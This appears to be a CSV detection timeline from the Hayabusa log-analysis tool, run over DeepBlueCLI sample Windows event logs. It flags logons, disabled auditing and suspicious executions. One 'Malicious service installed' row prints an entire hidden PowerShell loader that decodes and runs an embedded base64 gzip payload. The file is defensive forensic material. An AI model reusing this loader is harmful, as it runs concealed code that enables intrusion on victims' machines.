+09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:49:40.000 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1b293 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:49:40.000 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1b2fd : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:49:40.000 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x1b293,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-18 23:51:41.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-18 23:51:41.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-18 23:52:55.692 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-18 23:52:55.692 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 00:28:28.043 +09:00,IE10Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x1b2fd,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:29:27.609 +09:00,IE10Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:29:28.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 00:29:29.859 +09:00,IE10Win7,4648,informational,Explicit Logon,Source User: IE10WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:29:29.859 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1aae1 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:29:29.859 +09:00,IE10Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE10WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x1af2f : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:29:29.859 +09:00,IE10Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x1aae1,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:31:31.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 00:31:31.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 01:24:07.515 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:24:07.515 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:24:10.343 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:24:10.343 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:52:58.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 01:52:59.704 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:52:59.704 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:55:00.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 01:55:00.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 02:39:39.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 02:39:39.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 03:46:19.937 +09:00,IE10Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 03:46:20.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 03:57:18.515 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 03:57:18.515 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 03:57:20.937 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 03:57:20.937 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 04:55:50.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 04:55:51.755 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 04:55:51.755 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 04:57:52.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 04:57:52.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 05:40:21.230 +09:00,IE10Win7,7045,high,Malicious service installed,"Service: SYyGmEHvgHiGYApk : Path: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIADQdtlcCA7VWa2/aSBT93Er9D1aFZFslGAhtmkiVdszLhEcA82ZRNdhjM2TsIfY4PLr973sNdkK3zSpdaS2Q53HvzJlzz51rJ/ItQbkv7a3lQPr27u2bLg6wJykZ52s1K2UeREl98waGM65/27wla3PApC+SMkebTYV7mPqLm5tyFATEF6d+rk4ECkPiLRkloaJKf0njFQnIxd1yTSwhfZMyX3N1xpeYJWb7MrZWRLpAvh3PtbiFY0g5c8OoUOQ//5TV+UVhkas+RJiFimzuQ0G8nM2YrErf1XjDwX5DFLlNrYCH3BG5MfUvi7mhH2KHdGC1R9ImYsXtUFbhLPALiIgCXzo7VbzMyUiRodkNuIVsOyAh+OQa/iO/J0rGjxjLSn8o8wRDP/IF9QjMCxLwjUmCR2qRMGdg32akT5yF0iHb9OivdVLOncCqKwI1CyF5EWyb2xEjJ39Z/RluHEwVniSgwMH3d2/fvXXS4K8HpD3c4fP4Q+vN/NgmgFLp8pAeTb9I+azUhp2w4MEeuplBEBF1Ic3jGMwXCykTcee6M9GzLy9RSO3Bmn7UYWQ+4tRegEcSn4zX/WrcGUPK67NCPP+y3irEoT6p7H3sUSuVlPIr3onDyPHAudSsA9gUOZkgdoUw4mIRc5iV5j+7VT0qnnz1iDKbBMiC2IWACsKq/gjmFBZFbvht4gFbp74MUXBAyCS1TsS7T3eP+2AklxkOw6zUjSCTrKxkEsyInZWQH9JkCkWCH5vyM9x2xAS1cCjS5RbqP/lM9i1zPxRBZEEggYOBuSEWxSymJCsZ1Cb63qRuur/8S0LKmDHqu7DSIwQERmIiTBHLIwCoqRTUnElEw9sw4oHZMbtrDLuQy0kuHCWFXWLLL4FN1X6SdkxPyssZVIi5ybjISiMaCLgsYqpBX/8ZyNlF8QOkckCSOClpLs31vYjln9mutlbHEK1YtAlhR3oCAdTUAu7pOCSfSqYIgDjlvXZHywieacNnbUu/pwW0pYVGG/5DetnglSu7ebs2tKCyWzmoETbaRrfSM4zS4605Kgmz2hDNbkO0q5P12kRGfzgVswYyBjR/Py0dNrf0YLaQPd1pnw76YZvXd4e1azvTiuO4V47ZL3ys0da43NPzRdyqVKPWWN/q+VJYpVujR4e9+9uaWE5HDA8dzZ0UrjHdtYL1qMDbhwZC9dWldbh1RvVV295PDe16XLpHVYTKfnVU03lzqgeoq42wO+Lb5rrOxm4Z6TWLkllvWNN7vZqOhvX1Q+Vac8F3glf6eFSks82kv4J+DSA0tXypYZMDn/aApDpH2O2DjVsuWisHbCofkP6hw8Mivtc50sGmNnsAXNNNrctgfjAscjRinQlGrdm+pmmFabeEjDwd110UL4ldvYdR+Fg5VLTCyOb2+GNn6mijCbvSKuXBxnI0TdsalaY1K+w+312V9PxD2aMeWxZt7Xr4Wfe3Tbf76Nq98VV/19kvYb+hpo3ex/oBAWWW1+tJy/3kn+nhpQLQxkG4wgx0And6mr41HtSSe7rLaeyhKMdifU8CnzAoc1AIU8EjxrgV14r0RodSdSogC8jfITQvi79sqdKTofpcQNKhm5sZAIU0SsWdaxHfFatsfneZz0NByO9KeTjw6w9Y5pu98rRcNi4qT0yd78OO+6hxhmUObPbZ6+/+XyKT1F7By34Fkc9j/zL7KnLz2WcCfpr6ceC3mP5tBsaYCrA04Xpi5FRBXyQiEc/ZJ0cSJFCGkzzxF+BdJC468DHyN6LCQgBvCgAA''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);",rules/hayabusa/default/alerts/System/7045_CreateOrModiftySystemProcess-WindowsService_MaliciousServiceInstalled.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 07:54:48.533 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 07:54:48.533 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 11:07:47.443 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 11:07:47.443 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 11:19:46.459 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 11:19:46.459 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 22:57:54.520 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 22:57:54.520 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 05:09:55.515 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 05:09:55.515 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 05:09:57.843 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 05:09:57.843 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 05:47:29.854 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 05:47:29.854 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 06:47:30.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 06:47:30.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 08:02:19.515 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 08:02:19.515 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 08:02:22.296 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-20 08:02:22.296 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-21 01:03:05.348 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-21 01:03:05.348 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-21 05:05:57.517 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-21 05:05:57.517 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-21 05:05:59.973 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-21 05:05:59.973 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-22 06:00:11.001 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-22 06:00:11.001 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-22 06:03:27.106 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-22 06:03:27.106 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-22 06:42:09.518 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-22 06:42:09.518 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-22 06:45:28.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-22 06:47:30.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-22 06:47:30.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-23 09:12:59.515 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-23 09:12:59.515 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-23 09:13:02.546 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-23 09:13:02.546 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-23 11:24:05.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-23 11:24:05.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-25 06:17:07.515 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-25 06:17:07.515 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-25 06:17:10.203 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-25 06:17:10.203 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-25 06:25:05.171 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:25:59.734 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:26:37.046 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:27:31.828 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:30:06.203 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:38:23.076 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:51:10.232 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-25 06:51:19.681 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-26 00:03:05.603 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-26 00:03:05.603 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-26 00:04:55.947 +09:00,IE10Win7,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-26 05:43:45.515 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-26 05:43:45.515 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-26 05:43:48.140 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-26 05:43:48.140 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-27 05:34:49.928 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-27 05:34:49.928 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-27 09:43:11.500 